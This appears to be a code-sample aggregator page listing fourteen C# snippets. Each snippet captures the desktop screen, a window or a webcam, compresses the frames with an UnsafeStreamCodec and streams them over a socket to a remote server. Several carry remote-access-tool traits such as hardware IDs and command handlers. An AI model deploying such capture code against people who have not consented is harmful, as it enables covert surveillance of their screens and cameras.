Exemplo n.º 1
0
        private static async void StartRemoteDestkop()
        {
            while (RemoteDesktopActive)
            {
                byte[]       ImageBytes = null;
                IUnsafeCodec UC         = new UnsafeStreamCodec(50);
                Bitmap       Image      = GetDesktopImage();
                Rectangle    Rect       = new Rectangle(0, 0, Image.Width, Image.Height);
                Size         S          = new Size(Image.Width, Image.Height);
                BitmapData   BD         = Image.LockBits(new Rectangle(0, 0, Image.Width, Image.Height),
                                                         ImageLockMode.ReadWrite, Image.PixelFormat);
                using (MemoryStream MS = new MemoryStream(1000000000))
                {
                    UC.CodeImage(BD.Scan0, Rect, S,
                                 Image.PixelFormat, MS);
                    ImageBytes = MS.ToArray();
                }

                List <byte> ToSend = new List <byte>();
                ToSend.Add((int)DataType.ImageType);
                ToSend.AddRange(ImageBytes);
                Networking.MainClient.Send(ToSend.ToArray());
                Image.UnlockBits(BD);
                Image.Dispose();
            }
        }
Exemplo n.º 2
0
        public static void CaptureAndSend()
        {
            try
            {
                IUnsafeCodec unsafeCodec = new UnsafeStreamCodec(60);
                while (RemoteDesktop_Status == true)
                {
                    if (!ClientSocket.Client.Connected)
                    {
                        break;
                    }
                    Bitmap     bmp     = GetScreen();
                    Rectangle  rect    = new Rectangle(0, 0, bmp.Width, bmp.Height);
                    Size       size    = new Size(bmp.Width, bmp.Height);
                    BitmapData bmpData = bmp.LockBits(new Rectangle(0, 0, bmp.Width, bmp.Height), ImageLockMode.ReadWrite, bmp.PixelFormat);

                    using (MemoryStream stream = new MemoryStream(1000000))
                    {
                        unsafeCodec.CodeImage(bmpData.Scan0, rect, size, bmp.PixelFormat, stream);
                        if (stream.Length > 0)
                        {
                            MsgPack msgpack = new MsgPack();
                            msgpack.ForcePathObject("Packet").AsString = "remoteDesktop";
                            msgpack.ForcePathObject("Stream").SetAsBytes(stream.ToArray());
                            ClientSocket.BeginSend(msgpack.Encode2Bytes());
                        }
                    }
                    bmp.UnlockBits(bmpData);
                    bmp.Dispose();
                }
            }
            catch { }
        }
Exemplo n.º 3
0
        private static void StreamScreen()
        {
            while (RDActive && MainClient.Connected)
            {
                byte[]       ImageBytes = null;
                IUnsafeCodec UC         = new UnsafeStreamCodec(75);
                Bitmap       Image      = GetDesktopImage();
                int          Width      = Image.Width;
                int          Height     = Image.Height;
                BitmapData   BD         = GetDesktopImage().LockBits(new Rectangle(0, 0, Image.Width, Image.Height),
                                                                     ImageLockMode.ReadWrite, Image.PixelFormat);
                using (MemoryStream MS = new MemoryStream())
                {
                    UC.CodeImage(BD.Scan0, new Rectangle(0, 0, Width, Height), new Size(Width, Height),
                                 Image.PixelFormat, MS);
                    ImageBytes = MS.ToArray();
                }

                List <byte> ToSend = new List <byte>();
                ToSend.Add(0); //Image Type
                ToSend.AddRange(ImageBytes);
                MainClient.Send(ToSend.ToArray());
                Thread.Sleep(UpdateInterval);
            }
        }
Exemplo n.º 4
0
        public static void HandleRemoteDesktop(Packets.ServerPackets.Desktop command, Client client)
        {
            if (StreamCodec == null || StreamCodec.ImageQuality != command.Quality || StreamCodec.Monitor != command.Monitor)
            {
                StreamCodec = new UnsafeStreamCodec(command.Quality, command.Monitor);
            }

            LastDesktopScreenshot = Helper.Helper.GetDesktop(command.Monitor);
            BitmapData bmpdata = LastDesktopScreenshot.LockBits(
                new Rectangle(0, 0, LastDesktopScreenshot.Width, LastDesktopScreenshot.Height), ImageLockMode.ReadWrite,
                LastDesktopScreenshot.PixelFormat);

            using (MemoryStream stream = new MemoryStream())
            {
                try
                {
                    StreamCodec.CodeImage(bmpdata.Scan0,
                                          new Rectangle(0, 0, LastDesktopScreenshot.Width, LastDesktopScreenshot.Height),
                                          new Size(LastDesktopScreenshot.Width, LastDesktopScreenshot.Height), LastDesktopScreenshot.PixelFormat,
                                          stream);
                    new Packets.ClientPackets.DesktopResponse(stream.ToArray(), StreamCodec.ImageQuality, StreamCodec.Monitor).Execute(client);
                }
                catch
                {
                    new Packets.ClientPackets.DesktopResponse(null, StreamCodec.ImageQuality, StreamCodec.Monitor).Execute(client);
                    StreamCodec = null;
                }
            }

            LastDesktopScreenshot.UnlockBits(bmpdata);
            LastDesktopScreenshot.Dispose();
        }
Exemplo n.º 5
0
        public static void CaptureAndSend(int quality, int Scrn)
        {
            Bitmap       bmp     = null;
            BitmapData   bmpData = null;
            Rectangle    rect;
            Size         size;
            MsgPack      msgpack;
            IUnsafeCodec unsafeCodec = new UnsafeStreamCodec(quality);
            MemoryStream stream;

            Thread.Sleep(1);
            while (IsOk && Connection.IsConnected)
            {
                try
                {
                    bmp     = GetScreen(Scrn);
                    rect    = new Rectangle(0, 0, bmp.Width, bmp.Height);
                    size    = new Size(bmp.Width, bmp.Height);
                    bmpData = bmp.LockBits(new Rectangle(0, 0, bmp.Width, bmp.Height), ImageLockMode.ReadWrite, bmp.PixelFormat);

                    using (stream = new MemoryStream())
                    {
                        unsafeCodec.CodeImage(bmpData.Scan0, new Rectangle(0, 0, bmpData.Width, bmpData.Height), new Size(bmpData.Width, bmpData.Height), bmpData.PixelFormat, stream);

                        if (stream.Length > 0)
                        {
                            msgpack = new MsgPack();
                            msgpack.ForcePathObject("Packet").AsString = "remoteDesktop";
                            msgpack.ForcePathObject("ID").AsString     = Connection.Hwid;
                            msgpack.ForcePathObject("Stream").SetAsBytes(stream.ToArray());
                            msgpack.ForcePathObject("Screens").AsInteger = Convert.ToInt32(Screen.AllScreens.Length);
                            new Thread(() => { Connection.Send(msgpack.Encode2Bytes()); }).Start();
                        }
                    }
                    bmp.UnlockBits(bmpData);
                    bmp.Dispose();
                }
                catch
                {
                    Connection.Disconnected();
                    break;
                }
            }
            try
            {
                IsOk = false;
                bmp?.UnlockBits(bmpData);
                bmp?.Dispose();
                GC.Collect();
            }
            catch { }
        }
Exemplo n.º 6
0
        public void CaptureAndSend(int quality, int Scrn)
        {
            TempSocket   tempSocket = new TempSocket();
            string       hwid       = Methods.HWID();
            Bitmap       bmp        = null;
            BitmapData   bmpData    = null;
            Rectangle    rect;
            Size         size;
            MsgPack      msgpack;
            IUnsafeCodec unsafeCodec = new UnsafeStreamCodec(quality);
            MemoryStream stream;

            while (tempSocket.IsConnected && ClientSocket.IsConnected)
            {
                try
                {
                    bmp     = GetScreen(Scrn);
                    rect    = new Rectangle(0, 0, bmp.Width, bmp.Height);
                    size    = new Size(bmp.Width, bmp.Height);
                    bmpData = bmp.LockBits(new Rectangle(0, 0, bmp.Width, bmp.Height), ImageLockMode.ReadWrite, bmp.PixelFormat);

                    using (stream = new MemoryStream())
                    {
                        unsafeCodec.CodeImage(bmpData.Scan0, new Rectangle(0, 0, bmpData.Width, bmpData.Height), new Size(bmpData.Width, bmpData.Height), bmpData.PixelFormat, stream);

                        if (stream.Length > 0)
                        {
                            msgpack = new MsgPack();
                            msgpack.ForcePathObject("Packet").AsString = "remoteDesktop";
                            msgpack.ForcePathObject("ID").AsString     = hwid;
                            msgpack.ForcePathObject("Stream").SetAsBytes(stream.ToArray());
                            msgpack.ForcePathObject("Screens").AsInteger = Convert.ToInt32(System.Windows.Forms.Screen.AllScreens.Length);
                            tempSocket.SslClient.Write(BitConverter.GetBytes(msgpack.Encode2Bytes().Length));
                            tempSocket.SslClient.Write(msgpack.Encode2Bytes());
                            tempSocket.SslClient.Flush();
                        }
                    }
                    bmp.UnlockBits(bmpData);
                    bmp.Dispose();
                }
                catch { break; }
            }
            try
            {
                bmp?.UnlockBits(bmpData);
                bmp?.Dispose();
                tempSocket?.Dispose();
            }
            catch { }
        }
Exemplo n.º 7
0
        public void CaptureAndSend(int quality)
        {
            try
            {
                Socket Client = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp)
                {
                    SendBufferSize    = 50 * 1024,
                    ReceiveBufferSize = 50 * 1024,
                };
                Client.Connect(ClientSocket.Client.RemoteEndPoint.ToString().Split(':')[0], Convert.ToInt32(ClientSocket.Client.RemoteEndPoint.ToString().Split(':')[1]));

                SslStream SslClient = new SslStream(new NetworkStream(Client, true), false, ValidateServerCertificate);
                SslClient.AuthenticateAsClient(Client.RemoteEndPoint.ToString().Split(':')[0], null, SslProtocols.Tls, false);

                string       hwid        = Methods.HWID();
                IUnsafeCodec unsafeCodec = new UnsafeStreamCodec(quality);
                while (Client.Connected)
                {
                    if (!ClientSocket.Client.Connected || !ClientSocket.IsConnected)
                    {
                        break;
                    }
                    Bitmap     bmp     = GetScreen();
                    Rectangle  rect    = new Rectangle(0, 0, bmp.Width, bmp.Height);
                    Size       size    = new Size(bmp.Width, bmp.Height);
                    BitmapData bmpData = bmp.LockBits(new Rectangle(0, 0, bmp.Width, bmp.Height), ImageLockMode.ReadWrite, bmp.PixelFormat);

                    using (MemoryStream stream = new MemoryStream(10000000))
                    {
                        unsafeCodec.CodeImage(bmpData.Scan0, rect, size, bmp.PixelFormat, stream);
                        if (stream.Length > 0)
                        {
                            MsgPack msgpack = new MsgPack();
                            msgpack.ForcePathObject("Packet").AsString = "remoteDesktop";
                            msgpack.ForcePathObject("ID").AsString     = hwid;
                            msgpack.ForcePathObject("Stream").SetAsBytes(stream.ToArray());

                            SslClient.Write(BitConverter.GetBytes(msgpack.Encode2Bytes().Length));
                            SslClient.Write(msgpack.Encode2Bytes());
                            SslClient.Flush();
                        }
                    }
                    bmp.UnlockBits(bmpData);
                    bmp.Dispose();
                }
            }
            catch { }
        }
Exemplo n.º 8
0
        private void Stream()
        {
            int       FPS      = 0;
            Stopwatch sw       = Stopwatch.StartNew();
            Stopwatch RenderSW = Stopwatch.StartNew();

            try
            {
                Socket socket = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
                socket.Connect("localhost", 4432);
                StreamLibrary.IUnsafeCodec unsafeCodec = new UnsafeStreamCodec(80);



                while (true)
                {
                    Bitmap     bmp     = CaptureScreen();
                    Rectangle  rect    = new Rectangle(0, 0, bmp.Width, bmp.Height);
                    Size       size    = new System.Drawing.Size(bmp.Width, bmp.Height);
                    BitmapData bmpData = bmp.LockBits(new Rectangle(0, 0, bmp.Width, bmp.Height), ImageLockMode.ReadWrite, bmp.PixelFormat);

                    if (RenderSW.ElapsedMilliseconds >= (1000 / 20))
                    {
                        this.pictureBox1.Image = (Bitmap)bmp.Clone();
                        RenderSW = Stopwatch.StartNew();
                    }

                    FPS++;
                    using (MemoryStream stream = new MemoryStream(10000000))
                    {
                        unsafeCodec.CodeImage(bmpData.Scan0, rect, size, bmp.PixelFormat, stream);

                        if (stream.Length > 0)
                        {
                            socket.Send(BitConverter.GetBytes((int)stream.Length));
                            socket.Send(stream.GetBuffer(), (int)stream.Length, SocketFlags.None);
                        }
                    }
                    bmp.UnlockBits(bmpData);
                    bmp.Dispose();
                }
            }
            catch (Exception ex)
            {
                Console.WriteLine(ex.Message);
            }
        }
        public void CaptureAndSend(int quality)
        {
            try
            {
                Socket Client = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
                Client.Connect(ClientSocket.Client.RemoteEndPoint.ToString().Split(':')[0], Convert.ToInt32(ClientSocket.Client.RemoteEndPoint.ToString().Split(':')[1]));

                string       hwid        = Methods.HWID();
                IUnsafeCodec unsafeCodec = new UnsafeStreamCodec(quality);
                while (Client.Connected)
                {
                    if (!ClientSocket.Client.Connected || !ClientSocket.IsConnected)
                    {
                        break;
                    }
                    Bitmap     bmp     = GetScreen();
                    Rectangle  rect    = new Rectangle(0, 0, bmp.Width, bmp.Height);
                    Size       size    = new Size(bmp.Width, bmp.Height);
                    BitmapData bmpData = bmp.LockBits(new Rectangle(0, 0, bmp.Width, bmp.Height), ImageLockMode.ReadWrite, bmp.PixelFormat);

                    using (MemoryStream stream = new MemoryStream(10000000))
                    {
                        unsafeCodec.CodeImage(bmpData.Scan0, rect, size, bmp.PixelFormat, stream);
                        if (stream.Length > 0)
                        {
                            MsgPack msgpack = new MsgPack();
                            msgpack.ForcePathObject("Packet").AsString = "remoteDesktop";
                            msgpack.ForcePathObject("ID").AsString     = hwid;
                            msgpack.ForcePathObject("Stream").SetAsBytes(stream.ToArray());

                            Client.Send(BitConverter.GetBytes(Settings.aes256.Encrypt(msgpack.Encode2Bytes()).Length));
                            Client.Send(Settings.aes256.Encrypt(msgpack.Encode2Bytes()));
                        }
                    }
                    bmp.UnlockBits(bmpData);
                    bmp.Dispose();
                }
            }
            catch { }
        }
Exemplo n.º 10
0
        static void Main(string[] args)
        {
            while (true) //keep connecting
            {
                try
                {
                    Socket socket = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
                    socket.Connect("localhost", 4432);
                    IUnsafeCodec unsafeCodec = new UnsafeStreamCodec(80);

                    Console.WriteLine("connected");

                    while (true)
                    {
                        Bitmap     bmp     = CaptureScreen();
                        Rectangle  rect    = new Rectangle(0, 0, bmp.Width, bmp.Height);
                        Size       size    = new System.Drawing.Size(bmp.Width, bmp.Height);
                        BitmapData bmpData = bmp.LockBits(new Rectangle(0, 0, bmp.Width, bmp.Height), ImageLockMode.ReadWrite, bmp.PixelFormat);

                        using (MemoryStream stream = new MemoryStream(10000000)) //allocate already enough memory to make it fast
                        {
                            unsafeCodec.CodeImage(bmpData.Scan0, rect, size, bmp.PixelFormat, stream);

                            if (stream.Length > 0)
                            {
                                //send the stream over to the server
                                //to make it more stable we also send how big the stream of data is
                                socket.Send(BitConverter.GetBytes((int)stream.Length)); //we convert it to INT, safes us 4 bytes
                                socket.Send(stream.GetBuffer(), (int)stream.Length, SocketFlags.None);
                            }
                        }
                        bmp.UnlockBits(bmpData);
                        bmp.Dispose();
                    }
                }
                catch (Exception ex) { Console.WriteLine(ex.Message); }
            }
        }
Exemplo n.º 11
0
 private static void StartRemoteDestkop()
 {
     while (RemoteDesktopActive)
     {
         byte[]       ImageBytes = null;
         IUnsafeCodec UC         = new UnsafeStreamCodec(60);
         Bitmap       Image      = GetDesktopImage();
         int          Width      = Image.Width;
         int          Height     = Image.Height;
         BitmapData   BD         = GetDesktopImage().LockBits(new Rectangle(0, 0, Image.Width, Image.Height),
                                                              ImageLockMode.ReadWrite, Image.PixelFormat);
         using (MemoryStream MS = new MemoryStream())
         {
             UC.CodeImage(BD.Scan0, new Rectangle(0, 0, Width, Height), new Size(Width, Height),
                          Image.PixelFormat, MS);
             ImageBytes = MS.ToArray();
         }
         List <byte> ToSend = new List <byte>();
         ToSend.Add(0); //Image Type
         ToSend.AddRange(ImageBytes);
         Networking.MainClient.Send(ToSend.ToArray());
         Thread.Sleep(Convert.ToInt16(20));
     }
 }
Exemplo n.º 12
0
        public override void ProcessCommand(byte[] parameter, IConnectionInfo connectionInfo)
        {
            switch ((WebcamCommunication)parameter[0])
            {
            case WebcamCommunication.Start:
                _webcamSettings = new Serializer(typeof(WebcamSettings)).Deserialize <WebcamSettings>(parameter, 1);

                if (_videoCaptureDevice != null && _videoCaptureDevice.Source != _webcamSettings.MonikerString)
                {
                    _videoCaptureDevice.Stop();
                    _videoCaptureDevice = null;
                }

                if (_videoCaptureDevice == null)
                {
                    _videoCaptureDevice = new VideoCaptureDevice(_webcamSettings.MonikerString);
                }

                try
                {
                    _videoCaptureDevice.VideoResolution =
                        _videoCaptureDevice.VideoCapabilities[_webcamSettings.Resolution];
                }
                catch (Exception)
                {
                    ResponseByte((byte)WebcamCommunication.ResponseResolutionNotFoundUsingDefault, connectionInfo);
                }

                _isRunning = true;

                _videoCaptureDevice.NewFrame += _videoCaptureDevice_NewFrame;
                _videoCaptureDevice.Start();

                ResponseByte((byte)WebcamCommunication.ResponseStarted, connectionInfo);
                break;

            case WebcamCommunication.Stop:
                if (_videoCaptureDevice != null)
                {
                    _videoCaptureDevice.NewFrame -= _videoCaptureDevice_NewFrame;
                    _videoCaptureDevice.Stop();
                    _isRunning = false;

                    lock (_unsafeStreamCodecLock)
                    {
                        _unsafeStreamCodec?.Dispose();
                        _unsafeStreamCodec = null;
                    }

                    _videoCaptureDevice = null;

                    lock (_framesLock)
                    {
                        _lastFrame?.Dispose();
                        _lastFrame = null;
                    }

                    ResponseByte((byte)WebcamCommunication.ResponseStopped, connectionInfo);
                }
                break;

            case WebcamCommunication.GetImage:
                if (_lastFrame == null)
                {
                    if (!_isRunning)
                    {
                        return;
                    }

                    _screenWaitEvent?.Close();
                    _screenWaitEvent = new AutoResetEvent(false);
                    if (!_screenWaitEvent.WaitOne(10000, false))
                    {
                        if (!_isRunning)
                        {
                            return;
                        }

                        ResponseByte((byte)WebcamCommunication.ResponseNoFrameReceived, connectionInfo);
                        _videoCaptureDevice.NewFrame -= _videoCaptureDevice_NewFrame;
                        _videoCaptureDevice.Stop();
                        _unsafeStreamCodec?.Dispose();

                        _unsafeStreamCodec  = null;
                        _videoCaptureDevice = null;
                        return;
                    }
                }

                if (!_isRunning)
                {
                    return;
                }

                lock (_unsafeStreamCodecLock)
                {
                    if (!_isRunning)
                    {
                        return;
                    }

                    if (_unsafeStreamCodec != null &&
                        (_currentResolution != _webcamSettings.Resolution ||
                         _currentDevice != _webcamSettings.MonikerString))
                    {
                        _unsafeStreamCodec.Dispose();
                        _unsafeStreamCodec = null;
                    }

                    if (_unsafeStreamCodec == null)
                    {
                        _currentResolution = _webcamSettings.Resolution;
                        _currentDevice     = _webcamSettings.MonikerString;
                        _unsafeStreamCodec = new UnsafeStreamCodec(UnsafeStreamCodecParameters.None)
                        {
                            ImageQuality = parameter[1]
                        };
                    }

                    IDataInfo dataInfo;
                    lock (_framesLock)
                    {
                        var webcamData =
                            _lastFrame.LockBits(new Rectangle(0, 0, _lastFrame.Width, _lastFrame.Height),
                                                ImageLockMode.ReadOnly, PixelFormat.Format32bppArgb);

                        dataInfo = _unsafeStreamCodec.CodeImage(webcamData.Scan0,
                                                                new Rectangle(0, 0, webcamData.Width, webcamData.Height),
                                                                new Size(_lastFrame.Width, _lastFrame.Height), webcamData.PixelFormat);
                        _lastFrame.UnlockBits(webcamData);
                    }

                    connectionInfo.UnsafeResponse(this, dataInfo.Length + 1, writer =>
                    {
                        writer.Write((byte)WebcamCommunication.ResponseFrame);
                        dataInfo.WriteIntoStream(writer.BaseStream);
                    });
                }
                break;

            case WebcamCommunication.GetWebcams:
                if (CoreHelper.RunningOnVistaOrGreater)
                {
                    var webcams =
                        new FilterInfoCollection(FilterCategory.VideoInputDevice).OfType <FilterInfo>()
                        .Select(
                            x =>
                            new WebcamInfo
                    {
                        MonikerString        = x.MonikerString,
                        Name                 = x.Name,
                        AvailableResolutions =
                            new VideoCaptureDevice(x.MonikerString).VideoCapabilities.Select(
                                y =>
                                new WebcamResolution
                        {
                            Width  = y.FrameSize.Width,
                            Heigth = y.FrameSize.Height
                        }).ToList()
                    })
                        .ToList();
                    ResponseBytes((byte)WebcamCommunication.ResponseWebcams,
                                  new Serializer(typeof(List <WebcamInfo>)).Serialize(webcams), connectionInfo);
                }
                else
                {
                    ResponseByte((byte)WebcamCommunication.ResponseNotSupported, connectionInfo);
                }

                break;

            default:
                throw new ArgumentOutOfRangeException();
            }
        }
Exemplo n.º 13
0
        public IDataInfo Render()
        {
            RECT rect;

            if (!NativeMethods.GetWindowRect(Handle, out rect) || rect.Width == 0 || rect.Height == 0)
            {
                return(null);
            }

            if (_unsafeStreamCodec == null || _codecWidth != rect.Width || _codecHeight != rect.Height)
            {
                _unsafeStreamCodec?.Dispose();
                _unsafeStreamCodec = new UnsafeStreamCodec(UnsafeStreamCodecParameters.None);
                _codecWidth        = rect.Width;
                _codecHeight       = rect.Height;
            }

            /*IntPtr hdcSrc = GetWindowDC(Handle);
             * // get the size
             * RECT windowRect;
             * NativeMethods.GetWindowRect(Handle, out windowRect);
             *
             * int width = windowRect.Right - windowRect.Left;
             * int height = windowRect.Bottom - windowRect.Top;
             *
             * IntPtr hdcDest = CreateCompatibleDC(hdcSrc);
             *
             * IntPtr hBitmap = CreateCompatibleBitmap(hdcSrc, width, height);
             * // select the bitmap object
             * IntPtr hOld = SelectObject(hdcDest, hBitmap);
             * // bitblt over
             * BitBlt(hdcDest, 0, 0, width, height, hdcSrc, 0, 0, SRCCOPY);
             * // restore selection
             * SelectObject(hdcDest, hOld);
             * // clean up
             * DeleteDC(hdcDest);
             * ReleaseDC(Handle, hdcSrc);
             * // get a .NET image object for it
             * Bitmap img = Image.FromHbitmap(hBitmap);
             * // free up the Bitmap object
             * DeleteObject(hBitmap);
             *
             * using (img)
             * {
             *  var imageData = img.LockBits(new Rectangle(0, 0, img.Width, img.Height),
             *      ImageLockMode.ReadOnly, img.PixelFormat);
             *
             *  try
             *  {
             *      return _unsafeStreamCodec.CodeImage(imageData.Scan0, new Rectangle(new Point(0, 0), img.Size),
             *          img.Size, img.PixelFormat);
             *  }
             *  catch (Exception)
             *  {
             *      return null;
             *  }
             *  finally
             *  {
             *      img.UnlockBits(imageData);
             *  }
             * }*/


            using (var windowImage = new Bitmap(rect.Width, rect.Height, PixelFormat.Format32bppPArgb))
            {
                using (var gfxBmp = Graphics.FromImage(windowImage))
                {
                    var hdcBitmap = gfxBmp.GetHdc();
                    try
                    {
                        if (!NativeMethods.PrintWindow(Handle, hdcBitmap, 0))
                        {
                            return(null);
                        }
                    }
                    finally
                    {
                        gfxBmp.ReleaseHdc(hdcBitmap);
                    }
                }

                var imageData = windowImage.LockBits(new Rectangle(0, 0, windowImage.Width, windowImage.Height),
                                                     ImageLockMode.ReadWrite, windowImage.PixelFormat);

                try
                {
                    return(_unsafeStreamCodec.CodeImage(imageData.Scan0,
                                                        new Rectangle(new Point(0, 0), windowImage.Size),
                                                        windowImage.Size, windowImage.PixelFormat));
                }
                catch (Exception)
                {
                    return(null);
                }
                finally
                {
                    windowImage.UnlockBits(imageData);
                }
            }
        }
Exemplo n.º 14
0
        private void Execute(ISender client, GetDesktop message)
        {
            // TODO: Switch to streaming mode without request-response once switched from windows forms
            // TODO: Capture mouse in frames: https://stackoverflow.com/questions/6750056/how-to-capture-the-screen-and-mouse-pointer-using-windows-apis
            var monitorBounds = ScreenHelper.GetBounds((message.DisplayIndex));
            var resolution    = new Resolution {
                Height = monitorBounds.Height, Width = monitorBounds.Width
            };

            if (_streamCodec == null)
            {
                _streamCodec = new UnsafeStreamCodec(message.Quality, message.DisplayIndex, resolution);
            }

            if (message.CreateNew || _streamCodec.ImageQuality != message.Quality || _streamCodec.Monitor != message.DisplayIndex ||
                _streamCodec.Resolution != resolution)
            {
                _streamCodec?.Dispose();

                _streamCodec = new UnsafeStreamCodec(message.Quality, message.DisplayIndex, resolution);
            }

            BitmapData desktopData = null;
            Bitmap     desktop     = null;

            try
            {
                desktop     = ScreenHelper.CaptureScreen(message.DisplayIndex);
                desktopData = desktop.LockBits(new Rectangle(0, 0, desktop.Width, desktop.Height),
                                               ImageLockMode.ReadWrite, desktop.PixelFormat);

                using (MemoryStream stream = new MemoryStream())
                {
                    if (_streamCodec == null)
                    {
                        throw new Exception("StreamCodec can not be null.");
                    }
                    _streamCodec.CodeImage(desktopData.Scan0,
                                           new Rectangle(0, 0, desktop.Width, desktop.Height),
                                           new Size(desktop.Width, desktop.Height),
                                           desktop.PixelFormat, stream);
                    client.Send(new GetDesktopResponse
                    {
                        Image      = stream.ToArray(),
                        Quality    = _streamCodec.ImageQuality,
                        Monitor    = _streamCodec.Monitor,
                        Resolution = _streamCodec.Resolution
                    });
                }
            }
            catch (Exception)
            {
                if (_streamCodec != null)
                {
                    client.Send(new GetDesktopResponse
                    {
                        Image      = null,
                        Quality    = _streamCodec.ImageQuality,
                        Monitor    = _streamCodec.Monitor,
                        Resolution = _streamCodec.Resolution
                    });
                }

                _streamCodec = null;
            }
            finally
            {
                if (desktop != null)
                {
                    if (desktopData != null)
                    {
                        try
                        {
                            desktop.UnlockBits(desktopData);
                        }
                        catch
                        {
                        }
                    }
                    desktop.Dispose();
                }
            }
        }
        private void SendFrame(ISender client, Bitmap imageData, Resolution resolution)
        {
            BitmapData webcamData = null;
            Bitmap     webcam     = null;

            try
            {
                webcam     = imageData;
                webcamData = webcam.LockBits(new Rectangle(0, 0, resolution.Width, resolution.Height),
                                             ImageLockMode.ReadWrite, PixelFormat.Format32bppPArgb);
                using (MemoryStream stream = new MemoryStream())
                {
                    if (_streamCodec == null)
                    {
                        throw new Exception("StreamCodec can not be null.");
                    }
                    _streamCodec.CodeImage(webcamData.Scan0,
                                           new Rectangle(0, 0, resolution.Width, resolution.Height),
                                           new Size(resolution.Width, resolution.Height),
                                           PixelFormat.Format32bppPArgb, stream);
                    client.Send(new GetWebcamResponse
                    {
                        Image      = stream.ToArray(),
                        Quality    = _streamCodec.ImageQuality,
                        Webcam     = _streamCodec.Monitor,
                        Resolution = _streamCodec.Resolution
                    });
                }
            }
            catch (Exception)
            {
                if (_streamCodec != null)
                {
                    client.Send(new GetWebcamResponse
                    {
                        Image      = null,
                        Quality    = _streamCodec.ImageQuality,
                        Webcam     = _streamCodec.Monitor,
                        Resolution = _streamCodec.Resolution
                    });
                }

                _streamCodec = null;
            }
            finally
            {
                if (webcam != null)
                {
                    if (webcamData != null)
                    {
                        try
                        {
                            webcam.UnlockBits(webcamData);
                        }
                        catch (Exception ex)
                        {
                            Debug.WriteLine(ex.Message);
                        }
                    }
                    webcam.Dispose();
                }
            }
        }